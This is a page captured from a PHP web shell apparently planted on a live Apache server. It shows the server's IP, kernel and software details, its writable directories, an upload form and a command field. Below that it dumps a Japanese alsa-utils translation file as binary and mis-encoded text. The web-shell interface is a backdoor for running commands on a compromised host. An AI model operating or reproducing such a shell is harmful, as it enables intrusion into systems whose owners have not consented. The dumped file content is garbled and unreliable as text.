403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/locale/ja/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/locale/ja/LC_MESSAGES/alsa-utils.mo
Þ•þ[üh9i(£$Ì.ñ5 ?V6–:Í:C)Yƒ'¡5É-ÿ9-8g) Êß.ô"#.F1u#§IË/&El	‹&•¼,Õ*--[${! ÂÛ+õ!%).CX>œ"Ûþ0172iœµÌëóù!!"!D!fˆ4”Éæì
û	!!CÅÒíô  	# - 	: D _ w – ´ Î è ÿ !!!&!;!!Y!{!‘!—!$­!Ò!é!	"" ":"N"R"%U""{"
ž"¬"µ"Ì"è"+ð"&#+C#o#)|#6¦#"Ý#$$	$$.$K$ h$‰$-¥$&Ó$ú$%&%F%K%
e%p%Š%(–%¿%
Ò%à%é%,ð%&#8&%\&‚&5¢&-Ø&6'='T'&i'6'Ç')ä'/(1>()p(+š(1Æ(4ø()-)W)m)!‚))¤)Î)ç)(ï)1Z31ÔŽ3c4ƒ4ž4¢4¨4µ4%º4%à4%5&,5%S5!y5=›5!Ù5û566+36
_6-m62›6Î6á6!7#797
N7\7$r7$—7¼7Ù7ð7
8(84:8%o8•8°8/Á8ñ8
ú89959U9p9‹9’9Ÿ9¤9»9Í9	Ý9ç9ï9
ø9 :$:3:P:+`:Œ::¸:,Ï:ü:;"; A;b;v;’;š; Ÿ;À;Û;ö;<<#<><R[<b®=;>&M>&t><›>AØ><?MW?P¥?ö?9@%E@-k@V™@0ð@H!A[jA-ÆAôABM/B1}B.¯B%ÞB=CnBCK±CCýC ADbD9tD®DJÅDKEK\E¨E#ÀE)äEF',F)TF~F…F(FF¶F@ýF(>GgG&nG)•GO¿G2H"BH.eH”H
›H¦H+³H*ßH*
I+5IaI2tI!§I
ÉI	ÔI	ÞIèIþI™J¸JÉJåJíJ	K
KK%K8KGKaKyK™K¹K"ÍK ðKBLTL	aL#kLL(¬LÕLõLýLM"2M+UMMŽM«M)ËMõMüMN(NDNZNaN#yN	N8§N;àN$OAO,SOU€O ÖO÷O.þO	-P%7P%]PƒP0¡PDÒP0QHQ [Q |Q	Q§QÃQ ÙQúQLR]RyRR¢R:¯R6êR'!S)IS*sS9žSBØS9TUT oTCT0ÔT5U';U7cU3›U'ÏU0÷U3(V6\V4“VÈVåV/WA4WvWWU›W&ñ_H`ac1xd*ªdÕdÙdádód;ød;4e;pe<¬e;ée7%fI]f<§fäfëf0g$4gYg0egP–gçg"h?#h)ch/h½h)ÕhBÿh@Bi0ƒi1´i-æi'j<jP[j0¬j+Ýj	k0(kYk
fktkk&«k&Òkùkl&l7l0Dlul‘lžl°l
ÃlÑlälm+m@m=[m™m&¶mÝmJøm5CnynŒn5ªnàn*ÿn*o	6o@o\oyo–o¦oºo&ÖoýoÆ×7k2øÚεúyGa Ï“ꪴá_5#Z„oÔ›rd¸	š¬
‰TÊ\‘­?0í€]Dcpn;ìXu
Ÿ+OÓ¦Rht%¾W,H{ËðÝ1ƒ®ÍB—ã/«òŠ¿e¶É3K·ÒÁl£&`4¹j¢YN±ˆ=|ë.‡~ä)ŒF¨‹¤ù fæ'xºüÖSØ:EÞqbý!•½é¼vþûŽÌÈõ}°³ÃJÙÀಘÜgâЧÑÅ’A¡Pç[MI9†©¥™ôÛ-*zïó‚Lm…^žöÄQ@œ$î»8–èå>ñß<¯6iÇs÷”ÕUV(C"w
Some of these may not be available on selected hardware
         please, try the plug plugin %s
     -d,--disconnect     disconnect
     -e,--exclusive      exclusive connection
     -i,--input          list input (readable) ports
     -l,--list           list current connections of each port
     -o,--output         list output (writable) ports
     -r,--real #         convert real-time-stamp on queue
     -t,--tick #         convert tick-time-stamp on queue
     -x, --removeall
     sender, receiver = client:port pair
   aconnect -i|-o [-options]
   aconnect [-options] sender receiver
  -d,--dest addr : write to given addr (client:port)
  -i, --info : print certain received events
  -p,--port # : sepcify TCP port (digit or service name)
  -s,--source addr : read from given addr (client:port)
  -v, --verbose : print verbose messages
  Subdevice #%i: %s
  Subdevices: %i/%i
  client mode: aseqnet [-options] server_host
  server mode: aseqnet [-options]
 * Connection/disconnection between two ports
 * List connected ports (no subscription action)
 * Remove all exported connections
 can't play WAVE-files with sample %d bits in %d bytes wide (%d channels) can't play WAVE-files with sample %d bits wide%s is not a mono stream (%d channels)
%s!!! (at least %.3f ms long)
(default)**** List of %s Hardware Devices ****
+ -        Change volume-f cd (16 bit little endian, 44100, stereo)
-f cdr (16 bit big endian, 44100, stereo)
-f dat (16 bit little endian, 48000, stereo)
0-9        Set volume to 0%-90%; '        Toggle left/right capture< >        Toggle left/right muteAborted by signal %s...
Access type not availableAccess type not available for playback: %s
AllAuthors:B          Balance left and right volumesBroken configuration for playback: no configurations available: %s
Broken configuration for this PCM: no configurations availableBuffer size range from %lu to %lu
CAPTURECan't recovery from suspend, prepare failed: %s
Can't recovery from underrun, prepare failed: %s
Can't use period equal to buffer size (%lu == %lu)Cannot open WAV file %s
Cannot open file "%s".Cannot open mixer device '%s'.CaptureCard:CenterChannel %2d: Control event : %5d
Channel %2d: Note Off event: %5d
Channel %2d: Note On event : %5d
Channel %2d: Pitchbender   : %5d
Channels %iChannels count (%i) not available for playbacks: %s
Channels count non availableChip:Connected FromConnecting ToConnection failed (%s)
Connection is already subscribed
Debugging options:
  -g, --no-color          toggle using of colors
  -a, --abstraction=NAME  mixer abstraction level: none/basicDevice name:Disconnection failed (%s)
Done.
End        Set volume to 0%ErrorEsc     ExitEsc: ExitF1 ? H  HelpF1:  HelpF2 /    System informationF2:  System informationF3      Show playback controlsF4      Show capture controlsF5      Show all controlsF6 S    Select sound cardF6:  Select sound cardFailed. Restarting stream. FrontHelpInvalid WAV file %s
Invalid number of periods %d
Invalid parameter for -s option.
Invalid test type %s
Item:L       Redraw screenLeft    Move to the previous controlM          Toggle muteMax peak (%li samples): 0x%08x MonoNo enough memory
No subscription is found
Not a WAV file: %s
OffOnPage Up/Dn Change volume in big stepsPeriod size range from %lu to %lu
Periods = %u
PlaybackPlayback device is %s
Playback open error: %d,%s
PlayingPlaying Creative Labs Channel file '%s'...
Press F6 to select another sound card.Q W E      Increase left/both/right volumesRate %d Hz, Rate %iHz not available for playback: %s
Rate doesn't match (requested %iHz, get %iHz, err %d)
Rate set to %iHz (requested %iHz)
RearRecognized sample formats are:RecordingRequested buffer time %u us
Requested period time %u us
Right   Move to the next controlSample format non availableSample format not available for playback: %s
Sample rate doesn't match (%d) for %s
Select FileSetting of hwparams failed: %s
Setting of swparams failed: %s
SideSine wave rate is %.4fHz
Sound CardSpace      Toggle captureSparc AudioSparc Audio doesn't support %s format...Status(DRAINING):
Status(R/W):
Status:
StereoStream parameters are %iHz, %s, %i channels
Suspended. Trying resume. Tab     Toggle view mode (F3/F4/F5)The availabled format shortcuts are:
The sound device was unplugged.This sound device does not have any capture controls.This sound device does not have any controls.This sound device does not have any playback controls.Time per period = %lf
Transfer failed: %s
Try `%s --help' for more information.
Unable to determine current swparams for playback: %s
Unable to install hw params:Unable to set avail min for playback: %s
Unable to set buffer size %lu for playback: %s
Unable to set buffer time %u us for playback: %s
Unable to set hw params for playback: %s
Unable to set nperiods %u for playback: %s
Unable to set period time %u us for playback: %s
Unable to set start threshold mode for playback: %s
Unable to set sw params for playback: %s
Undefined channel %d
Unknown option '%c'
Unsupported WAV format %d for %s
Unsupported sample format bits %d for %s
Up/Down    Change volumeUsage:
Usage: %s [OPTION]... [FILE]...

-h, --help              help
    --version           print current version
-l, --list-devices      list all soundcards and digital audio devices
-L, --list-pcms         list device names
-D, --device=NAME       select PCM by name
-q, --quiet             quiet mode
-t, --file-type TYPE    file type (voc, wav, raw or au)
-c, --channels=#        channels
-f, --format=FORMAT     sample format (case insensitive)
-r, --rate=#            sample rate
-d, --duration=#        interrupt after # seconds
-M, --mmap              mmap stream
-N, --nonblock          nonblocking mode
-F, --period-time=#     distance between interrupts is # microseconds
-B, --buffer-time=#     buffer duration is # microseconds
    --period-size=#     distance between interrupts is # frames
    --buffer-size=#     buffer duration is # frames
-A, --avail-min=#       min available space for wakeup is # microseconds
-R, --start-delay=#     delay for automatic PCM start is # microseconds 
                        (relative to buffer size if <= 0)
-T, --stop-delay=#      delay for automatic PCM stop is # microseconds from xrun
-v, --verbose           show PCM structure and setup (accumulative)
-V, --vumeter=TYPE      enable VU meter (TYPE: mono or stereo)
-I, --separate-channels one file for each channel
    --disable-resample  disable automatic rate resample
    --disable-channels  disable automatic channel conversions
    --disable-format    disable automatic format conversions
    --disable-softvol   disable software volume control (softvol)
    --test-position     test ring buffer position
    --test-coef=#	 test coeficient for ring buffer position (default 8)
                        expression for validation is: coef * (buffer_size / 2)
    --test-nowait       do not wait for ring buffer - eats whole CPU
Usage: alsamixer [options]Usage: speaker-test [OPTION]... 
-h,--help	help
-D,--device	playback device
-r,--rate	stream rate in Hz
-c,--channels	count of channels in stream
-f,--frequency	sine wave frequency in Hz
-F,--format	sample format
-b,--buffer	ring buffer size in us
-p,--period	period size in us
-P,--nperiods	number of periods
-t,--test	pink=use pink noise, sine=use sine wave, wav=WAV file
-l,--nloops	specify number of loops to test, 0 = infinite
-s,--speaker	single speaker test. Values 1=Left, 2=right, etc
-w,--wavfile	Use the given WAV file as a test sound
-W,--wavdir	Specify the directory containing WAV files

Useful options:
  -h, --help              this help
  -c, --card=NUMBER       sound card number or id
  -D, --device=NAME       mixer device name
  -V, --view=MODE         starting view mode: playback/capture/allUsing 16 octaves of pink noise
Using max buffer size %lu
VOCView:WAV file(s)
WAVEWarning: format is changed to MU_LAW
Warning: format is changed to S16_BE
Warning: format is changed to S16_LE
Warning: format is changed to S24_3LE
Warning: format is changed to S24_LE
Warning: format is changed to U8
Warning: rate is not accurate (requested = %iHz, got = %iHz)
Wave doesn't support %s format...WooferWrite error: %d,%s
You need to specify %d filesZ X C      Decrease left/both/right volumesaccepted[%d]
aconnect - ALSA sequencer connection manager
aseqnet - network client/server on ALSA sequencer
bad speed value %ibuffer to small, could not use
can't allocate buffer for silencecan't get address %s
can't get client id
can't malloc
can't open sequencer
can't play WAVE-files with %d trackscan't play loops; %s isn't seekable
can't play packed .voc filescan't set client info
cannot enumerate sound cardscannot load mixer controlscannot open mixercapture stream format change? attempting recover...
card %i: %s [%s], device %i: %s [%s]
client %d: '%s' [type=%s]
closing files..
command should be named either arecord or aplaydB gain:disconnected
enter device name...invalid card index: %s
invalid destination address %s
invalid sender address %s
invalid source address %s
kernelmalloc errormuteno soundcards found...not enough memoryok.. connected
options:
overrunraw dataread errorread error (called from line %i)read error: %sread/write error, state = %sreadv error: %sservice '%s' is not found in /etc/services
status error: %ssuspend: prepare error: %stoo many connections!
try `alsamixer --help' for more information
unable to install sw params:underrununknown abstraction level: %s
unknown blocktype %d. terminate.unknown option: %c
unrecognized file format %susage:
uservalue %i for channels is invalidwas set buffer_size = %lu
was set period_size = %lu
write errorwrite error: %swritev error: %swrong extended format '%s'xrun_recovery failed: %d,%s
Project-Id-Version: alsa-utils 1.0.9a
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2009-08-31 17:14+0200
PO-Revision-Date: 2009-05-27 15:08+0200
Last-Translator: Takashi Iwai <tiwai@suse.de>
Language-Team: Japanese
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;

ã“れらã®ã„ãã¤ã‹ã¯æŒ‡å®šã®ãƒãƒ¼ãƒ‰ã‚¦ã‚§ã‚¢ã§ä½¿ç”¨ä¸å¯èƒ½ãªå ´åˆãŒã‚ã‚Šã¾ã™
        plug プラグイン%s を使用ã—ã¦ãã ã•ã„
     -d,--disconnect     切り離ã—
     -e,--exclusive      排他接続
     -i,--input          入力 (読込) ãƒãƒ¼ãƒˆã®ä¸€è¦§
     -l,--list           å„ãƒãƒ¼ãƒˆã®ç¾åœ¨ã®æŽ¥ç¶šã‚’表示
     -o,--output         主力 (書込) ãƒãƒ¼ãƒˆã®ä¸€è¦§
     -r,--real #         キューã®ãƒªã‚¢ãƒ«ã‚¿ã‚¤ãƒ ã‚¹ã‚¿ãƒ³ãƒ—ã«å¤‰æ›
    -t,--tick #          キューã®ãƒ†ã‚£ãƒƒã‚¯ã‚¿ã‚¤ãƒ ã‚¹ã‚¿ãƒ³ãƒ—ã«å¤‰æ›
     -x, --removall
     é€ä¿¡, å—ä¿¡ = クライアント:ãƒãƒ¼ãƒˆã®çµ„
   aconnect -i|-o [-オプション]
   aconnect [-オプション] é€ä¿¡ å—ä¿¡
  -d,--dest addr : 指定ã®ã‚¢ãƒ‰ãƒ¬ã‚¹(クライアント:ãƒãƒ¼ãƒˆ)ã«æ›¸ã込む
  -i,--info : å—信イベントを表示ã™ã‚‹
  -p,--port # : TCP ãƒãƒ¼ãƒˆã®æŒ‡å®š (æ•°å­—ã¾ãŸã¯ã‚µãƒ¼ãƒ“スå)
  -s,--source addr : 指定ã®ã‚¢ãƒ‰ãƒ¬ã‚¹(クライアント:ãƒãƒ¼ãƒˆ)ã‹ã‚‰èª­ã¿è¾¼ã‚€
  -v,--verbose : 冗長メッセージ表示
  サブデãƒã‚¤ã‚¹ #%i: %s
  サブデãƒã‚¤ã‚¹: %i/%i
  クライアントモード: aseqnet [-オプション] サーãƒãƒ›ã‚¹ãƒˆ
  サーãƒãƒ¢ãƒ¼ãƒ‰: aseqnet [-オプション]
 * 二ã¤ã®ãƒãƒ¼ãƒˆã®æŽ¥ç¶šï¼åˆ‡ã‚Šé›¢ã—
 * 接続済ã¿ã®ãƒãƒ¼ãƒˆã®ä¸€è¦§
 * å…¨ã¦ã®ã‚¨ã‚¯ã‚¹ãƒãƒ¼ãƒˆã•ã‚ŒãŸæŽ¥ç¶šã‚’切り離ã™
%2$d ãƒã‚¤ãƒˆé•· %1$d サンプルビット (%3$d ãƒãƒ£ãƒãƒ«) ã® WAVE ファイルã¯å†ç”Ÿã§ãã¾ã›ã‚“%d ビット長ã®ã‚µãƒ³ãƒ—ル㮠WAVE ファイルã¯å†ç”Ÿã§ãã¾ã›ã‚“%s ã¯ãƒ¢ãƒŽã‚¹ãƒˆãƒªãƒ¼ãƒ ã§ã¯ã‚ã‚Šã¾ã›ã‚“ (%d ãƒãƒ£ãƒãƒ«)
%s!!! (å°‘ãªãã¨ã‚‚ %.3f ms)
(デフォルト)**** ãƒãƒ¼ãƒ‰ã‚¦ã‚§ã‚¢ãƒ‡ãƒã‚¤ã‚¹ %s ã®ãƒªã‚¹ãƒˆ ****
+ -       音é‡å¤‰æ›´-f cd (16 ビットã€ãƒªãƒˆãƒ«ã‚¨ãƒ³ãƒ‡ã‚£ã‚¢ãƒ³ã€44100ã€ã‚¹ãƒ†ãƒ¬ã‚ª)
-f cdr (16 ビットã€ãƒ“ッグエンディアンã€44100ã€ã‚¹ãƒ†ãƒ¬ã‚ª)
-f dat (16 ビットã€ãƒªãƒˆãƒ«ã‚¨ãƒ³ãƒ‡ã‚£ã‚¢ãƒ³ã€48000ã€ã‚¹ãƒ†ãƒ¬ã‚ª)
0-9       éŸ³é‡ 0%-90%; '       å·¦/å³éŒ²éŸ³ã‚’トグル< >       å·¦/å³ãƒŸãƒ¥ãƒ¼ãƒˆã‚’トグルシグナル %s ã§ä¸­æ–­...
アクセスタイプãŒä½¿ç”¨ä¸å¯èƒ½ã‚¢ã‚¯ã‚»ã‚¹ã‚¿ã‚¤ãƒ—ãŒä¸æ­£ã§ã™: %s
å…¨ã¦ä½œè€…:B         å·¦å³éŸ³é‡ã‚’å¹³å‡åŒ–ã™ã‚‹å†ç”Ÿç”¨ã«è¨­å®šã§ãã¾ã›ã‚“: 設定ãŒã¿ã¤ã‹ã‚Šã¾ã›ã‚“: %s
指定㮠PCM を使用ã§ãã¾ã›ã‚“: 設定ãŒã‚ã‚Šã¾ã›ã‚“ãƒãƒƒãƒ•ã‚¡ã‚µã‚¤ã‚ºç¯„囲 %lu 〜 %lu
録音サスペンドã‹ã‚‰å¾©å¸°å¤±æ•—: %s
アンダーランã‹ã‚‰å¾©å¸°å¤±æ•—: %s
period 㨠buffer サイズã«ã¯åŒã˜å€¤ã‚’使用ã§ãã¾ã›ã‚“ (%lu == %lu)WAVファイルãŒã‚ªãƒ¼ãƒ—ンã§ãã¾ã›ã‚“: %s
"%s"をオープンã§ãã¾ã›ã‚“ミキサーデãƒã‚¤ã‚¹'%s'ã‚’é–‹ã‘ã¾ã›ã‚“録音カード:センターãƒãƒ£ãƒãƒ« %2d: コントロール : %5d
ãƒãƒ£ãƒãƒ« %2d: ノートオフ   : %5d
ãƒãƒ£ãƒãƒ« %2d: ノートオン   : %5d
ãƒãƒ£ãƒãƒ« %2d: ピッãƒãƒ™ãƒ³ãƒ‰ : %5d
ãƒãƒ£ãƒãƒ«æ•° %iãƒãƒ£ãƒãƒ«æ•° (%i) を使用ã§ãã¾ã›ã‚“: %s
ãƒãƒ£ãƒãƒ«æ•°ãŒä½¿ç”¨ä¸å¯èƒ½ãƒãƒƒãƒ—:接続元接続先接続ã«å¤±æ•— (%s)
æ—¢ã«æŽ¥ç¶šã•ã‚Œã¦ã„ã¾ã™
デãƒãƒƒã‚°ã‚ªãƒ—ション:
  -g, --no-color           カラー/モノクロ表示
  -a, --abstraction=åå‰   ミキサー抽象レベル: none/basicデãƒã‚¤ã‚¹å:切り離ã—ã«å¤±æ•— (%s)
終了
End       éŸ³é‡ 0%エラーEsc    終了Esc: 終了F1 ?   H ヘルプF1:  ヘルプF2 /   システム情報F2:  システム情報F3     å†ç”ŸãƒŸã‚­ã‚µãƒ¼è¡¨ç¤ºF4     録音ミキサー表示F5     å…¨ã¦è¡¨ç¤ºF5 S   サウンドカードé¸æŠžF6:  サウンドカードé¸æŠžå¤±æ•—ã—ã¾ã—ãŸã€‚ストリームをå†ã‚¹ã‚¿ãƒ¼ãƒˆã—ã¾ã™ã€‚フロントヘルプä¸æ­£ãªWAVファイルã§ã™: %s
ä¸æ­£ãªãƒ”リオド数 %d
-s オプションã®å€¤ãŒä¸æ­£ã§ã™
ä¸æ­£ãªãƒ†ã‚¹ãƒˆã‚¿ã‚¤ãƒ— %s
é …ç›®:L      ç”»é¢å†æ画↠    å‰ã®é …ç›®ã«ç§»ã‚‹M         ミュートをトグル最大ピーク (%li サンプル): 0x%08x モノラルメモリãŒè¶³ã‚Šã¾ã›ã‚“
接続ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“
WAVファイルã§ã¯ã‚ã‚Šã¾ã›ã‚“: %s
オフオンPage Up/dn 音é‡å¤‰æ›´ãƒ”リオドサイズ範囲 %lu 〜 %lu
ピリオド数 = %u
å†ç”Ÿå†ç”Ÿãƒ‡ãƒã‚¤ã‚¹: %s
å†ç”Ÿã‚ªãƒ¼ãƒ—ンエラー: %d,%s
å†ç”Ÿä¸­Creative Labs Channel ファイル '%s' ã‚’æ¼”å¥ä¸­...
ä»–ã®ã‚«ãƒ¼ãƒ‰ã‚’é¸æŠžã™ã‚‹ã«ã¯F6を押ã—ã¦ä¸‹ã•ã„Q W E     å·¦/両/å³éŸ³é‡ã‚¢ãƒƒãƒ—レート %d Hz, レート %iHz を使用ã§ãã¾ã›ã‚“: %s
設定レートãŒä¸€è‡´ã—ã¾ã›ã‚“< (è¦æ±‚値 %iHz, å–得値 %iHz, エラー %d)
レート %iHz (è¦æ±‚値 %iHz)
リアèªè­˜ã•ã‚Œã‚‹ã‚µãƒ³ãƒ—ルフォーマット:録音中è¦æ±‚ã•ã‚ŒãŸãƒãƒƒãƒ•ã‚¡é•· %u us
è¦æ±‚ã•ã‚ŒãŸãƒ”リオド長 %u us
→     次ã®é …ç›®ã«ç§»ã‚‹ã‚µãƒ³ãƒ—ルフォーマットãŒä½¿ç”¨ä¸å¯èƒ½æŒ‡å®šã®ã‚µãƒ³ãƒ—ルフォーマットを使用ã§ãã¾ã›ã‚“: %s
サンプルレートãŒä¸ä¸€è‡´ã§ã™(%d): %s
ファイルé¸æŠžhwparams ã®è¨­å®šã«å¤±æ•—: %s
swparams ã®è¨­å®šã«å¤±æ•—: %s
サイド正弦波レート: %.4fHz
サウンドカードスペース  録音をトグルSparc オーディオSparc オーディオ㯠%s フォーマットをサãƒãƒ¼ãƒˆã—ã¾ã›ã‚“...ステータス(DRAINING):
ステータス(R/W):
ステータス:
ステレオストリームパラメータ: %iHz, %s, %i ãƒãƒ£ãƒãƒ«
サスペンド中ã§ã™ã€‚レジュームã—ã¾ã™ã€‚Tab    表示モード変更 (F3/F4/F5)å¯èƒ½ãªãƒ•ã‚©ãƒ¼ãƒžãƒƒãƒˆã®çœç•¥å½¢:
デãƒã‚¤ã‚¹ãŒæŽ¥ç¶šã•ã‚Œã¦ã„ã¾ã›ã‚“ã“ã®ã‚«ãƒ¼ãƒ‰ã«ã¯éŒ²éŸ³ãƒŸã‚­ã‚µãƒ¼ãŒã‚ã‚Šã¾ã›ã‚“ã“ã®ã‚«ãƒ¼ãƒ‰ã«ã¯åˆ¶å¾¡å¯èƒ½ãªãƒŸã‚­ã‚µãƒ¼ãŒã‚ã‚Šã¾ã›ã‚“ã“ã®ã‚«ãƒ¼ãƒ‰ã«ã¯å†ç”ŸãƒŸã‚­ã‚µãƒ¼ãŒã‚ã‚Šã¾ã›ã‚“ピリオド時間 = %lf
転é€ã«å¤±æ•—ã—ã¾ã—ãŸ: %s
より詳ã—ã„情報ã¯ã€Œ%s --helpã€ã‚’実行ã—ã¦ãã ã•ã„
ç¾åœ¨ã® swparams ã‚’å–å¾—ã§ãã¾ã›ã‚“: %s
hw params ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«å¤±æ•—ã—ã¾ã—ãŸ:avail_min を設定ã§ãã¾ã›ã‚“: %s
ãƒãƒƒãƒ•ã‚¡ã‚µã‚¤ã‚º %lu を設定ã§ãã¾ã›ã‚“: %s
ãƒãƒƒãƒ•ã‚¡é•· %u us を設定ã§ãã¾ã›ã‚“: %s
hw params を設定ã§ãã¾ã›ã‚“: %s
ピリオド数 %u を設定ã§ãã¾ã›ã‚“: %s
ピリオド長 %u us を設定ã§ãã¾ã›ã‚“: %s
start_threshold モードを設定ã§ãã¾ã›ã‚“: %s
å†ç”Ÿç”¨ã® sw params を設定ã§ãã¾ã›ã‚“: %s
未定義ã®ãƒãƒ£ãƒãƒ« %d
未知ã®ã‚ªãƒ—ション '%c'
未サãƒãƒ¼ãƒˆã®WAVフォーマット %d: %s
未サãƒãƒ¼ãƒˆã®ã‚µãƒ³ãƒ—ルフォーマットビット %d: %s
↑/↓     音é‡å¤‰æ›´ä½¿ç”¨æ³•:
使用法: %s [オプション]... [ファイル]...

-h, --help              ヘルプ
    --version           ç¾åœ¨ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’表示
-l, --list-devices      å…¨ã¦ã®ã‚µã‚¦ãƒ³ãƒ‰ã‚«ãƒ¼ãƒ‰ã¨ã‚ªãƒ¼ãƒ‡ã‚£ã‚ªãƒ‡ãƒã‚¤ã‚¹ã‚’表示
-L, --list-pcms         å…¨ã¦ã®å®šç¾©ã•ã‚ŒãŸ PCM を表示
-D, --device=NAME       使用ã™ã‚‹ PCM を指定
-q, --quiet             quiet モード
-t, --file-type TYPE    ファイルタイプ (voc, wav, raw ã¾ãŸã¯ au)
-c, --channels=#        ãƒãƒ£ãƒãƒ«æ•°
-f, --format=FORMAT     サンプルフォーマット (大ï¼å°æ–‡å­—区別)
-r, --rate=#            サンプルレート
-d, --duration=#        指定ã®ç§’数後ã«çµ‚了
-M, --mmap              mmap ストリーム
-N, --nonblock          éžãƒ–ロックモード
-F, --period-time=#     割り込ã¿é–“隔をμ秒ã§æŒ‡å®š
-B, --buffer-time=#     ãƒãƒƒãƒ•ã‚¡ã®å¤§ãã•ã‚’μ秒ã§æŒ‡å®š
    --period-size=#     割り込ã¿é–“隔をフレーム数ã§æŒ‡å®š
    --buffer-size=#     ãƒãƒƒãƒ•ã‚¡ã®å¤§ãã•ã‚’フレーム数ã§æŒ‡å®š
-A, --avail-min=#       wakeup ã®æœ€å°‘スペースをμ秒ã§æŒ‡å®š
-R, --start-delay=#     指定ã®Î¼ç§’後㫠PCM を自動スタート
                        (0 以下ã®å ´åˆã¯ãƒãƒƒãƒ•ã‚¡ã‚µã‚¤ã‚ºã‚ˆã‚Š)
-T, --stop-delay=#      XRUN ã‹ã‚‰æŒ‡å®šã®Î¼ç§’後㫠PCM ã®è‡ªå‹•åœæ­¢
-v, --verbose           PCM ã®è¨­å®šã‚’表示 (複数指定å¯èƒ½)
-V, --vumeter=TYPE      enable VU meter (TYPE: mono or stereo)
-I, --separate-channels å„ãƒãƒ£ãƒãƒ«ã«ä¸€ã¤ã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’用ã„ã‚‹
    --disable-resample  自動レート変æ›ã‚’ç¦æ­¢ã™ã‚‹
    --disable-channels  自動ãƒãƒ£ãƒãƒ«å¤‰æ›ã‚’ç¦æ­¢ã™ã‚‹
    --disable-format    自動フォーマット変æ›ã‚’ç¦æ­¢ã™ã‚‹
    --disable-softvol   ソフト音é‡åˆ¶å¾¡(softvol)ã‚’ç¦æ­¢ã™ã‚‹
    --test-position     リングãƒãƒƒãƒ•ã‚¡ä½ç½®ã‚’テストã™ã‚‹
    --test-coef=#       リングãƒãƒƒãƒ•ã‚¡ä½ç½®ãƒ†ã‚¹ãƒˆã®ä¿‚æ•° (デフォルト 8)
                        テスト範囲: coef * (buffer_size / 2)
    --test-nowait       リングãƒãƒƒãƒ•ã‚¡ã®ã‚¦ã‚¨ã‚¤ãƒˆã‚’ç¦æ­¢ - 注æ„:高CPUè² è·
使用法: alsamixer [オプション]使用法: speaker-test [オプション]...
-h,--help            ヘルプ
-D,--device          å†ç”Ÿãƒ‡ãƒã‚¤ã‚¹
-r,--rate            ストリームレート (Hz)
-c,--channels        ãƒãƒ£ãƒãƒ«æ•°
-f,--frequency       正弦波周波数 (hz)
-F,--format          サンプルフォーマット
-b,--buffer          リングãƒãƒƒãƒ•ã‚¡ã‚µã‚¤ã‚º (μs)
-p,--period          ピリオドサイズ (μs)
-P,--nperiods        ピリオド数
-t,--test            pink=ピンクノイズを使用, sine=正弦波を使用, wav=WAVファイルå†ç”Ÿ
-l,--nloops          ç¹°ã‚Šè¿”ã—テスト数, 0 = 無制é™
-s,--speaker         å˜ä¸€ã‚¹ãƒ”ーカーテスト  1=å·¦ ã¾ãŸã¯ 2=å³
-w,--wavfile         指定ã®WAVファイルをテスト音æºã¨ã—ã¦ä½¿ç”¨
-W,--wavdir          WAVファイルã®ã‚るディレクトリを指定

主ãªã‚ªãƒ—ション:
  -h, --help               ã“ã®ãƒ˜ãƒ«ãƒ—ç”»é¢
  -c, --card=ç•ªå·          サウンドカード番å·ã¾ãŸã¯ID
  -D, --device=åå‰        ミキサーデãƒã‚¤ã‚¹å
  -V, --view=表示モード    開始時ã®è¡¨ç¤ºãƒ¢ãƒ¼ãƒ‰: playback/capture/all16 オクターブã®ãƒ”ンクノイズを使用
最大ãƒãƒƒãƒ•ã‚¡ã‚µã‚¤ã‚º %lu を使用
VOC表示:WAV ファイル
WAVE警告: フォーマット㯠MU_LAW ã«å¤‰æ›´ã•ã‚Œã¾ã™
警告: フォーマット㯠S16_BE ã«å¤‰æ›´ã•ã‚Œã¾ã™
警告: フォーマット㯠S16_LE ã«å¤‰æ›´ã•ã‚Œã¾ã™
警告: フォーマット㯠S24_3LE ã«å¤‰æ›´ã•ã‚Œã¾ã™
警告: フォーマット㯠S24_LE ã«å¤‰æ›´ã•ã‚Œã¾ã™
警告: フォーマット㯠U8 ã«å¤‰æ›´ã•ã‚Œã¾ã™
警告: レートãŒä¸æ­£ç¢ºã§ã™ (è¦æ±‚値 = %iHz, 使用値 = %iHz)
WAVE 㯠%s フォーマットをサãƒãƒ¼ãƒˆã—ã¾ã›ã‚“...低音書込エラー: %d,%s
%d 個ã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’指定ã—ã¦ãã ã•ã„Z X C     å·¦/両/å³éŸ³é‡ãƒ€ã‚¦ãƒ³äº†è§£[%d]
aconnect - ALSA sequencer 接続マãƒãƒ¼ã‚¸ãƒ£
aseqnet - ALSA sequencer 上ã®ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆï¼ã‚µãƒ¼ãƒ
ä¸æ­£ãªãƒ¬ãƒ¼ãƒˆå€¤ %iãƒãƒƒãƒ•ã‚¡ãŒå°ã•ã™ãŽã¾ã™
サイレンス用ã®ãƒãƒƒãƒ•ã‚¡ã®å–å¾—ã«å¤±æ•—ã—ã¾ã—ãŸã‚¢ãƒ‰ãƒ¬ã‚¹ %s ã‚’å–å¾—ã§ãã¾ã›ã‚“
クライアント ID ã‚’å–å¾—ã§ãã¾ã›ã‚“
malloc ã§ãã¾ã›ã‚“
sequencer をオープンã§ãã¾ã›ã‚“
%d トラックをå«ã‚€ WAVE ファイルã¯å†ç”Ÿã§ãã¾ã›ã‚“ループ演å¥ã§ãã¾ã›ã‚“。%s ã¯ã‚·ãƒ¼ã‚¯ä¸å¯èƒ½ã§ã™
